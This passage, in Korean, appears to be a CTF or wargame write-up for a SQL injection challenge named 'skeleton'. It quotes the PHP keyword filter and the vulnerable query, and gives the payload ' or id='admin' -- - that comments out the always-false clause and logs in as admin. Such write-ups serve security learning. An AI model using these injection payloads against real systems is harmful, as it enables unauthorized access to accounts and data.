없다.
문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.
get으로 요청된 pw 값에 prob
, _
, .
, ()
가 들어가면 프로그램이 죽는다. 즉 이부분이 필터링 부분이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
그 다음 query가 나오는데 sql 명령문이다.
sql 명령문은 id를 찾는데 prob_skkeleton라는 테이블에 있어야 하고, id는 guest이며 pw는 get으로 요청된 pw값이고 1=0이어야 한다.
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
그리고 만약 id
가 admin
이면 문제가 풀린다.
if($result['id'] == 'admin') solve("skeleton");
일단 id
가 guest
로 맞춰져 있고, 1=0
이라는 항상 false가 있기 때문에 sql injection을 통해 문제를 풀면 된다.
일단 guest
로 맞춰져 있기 때문에 or
를 사용해서 admin
을 맞출 수 있고, 뒤 부분은 항상 false이기 때문에 주석 처리방법인 -- -
를 이용하면 된다. 그래서 이것들을 이용해서 익스플로잇을 짜서 넣으면 문제를 풀 수 있다.
/?pw=' or id='admin' -- -
익스플로잇을 넣었을 때 실행될 sql query
select id from prob_skeleton where id='guest' and pw='' or id='admin' -- -' and 1=0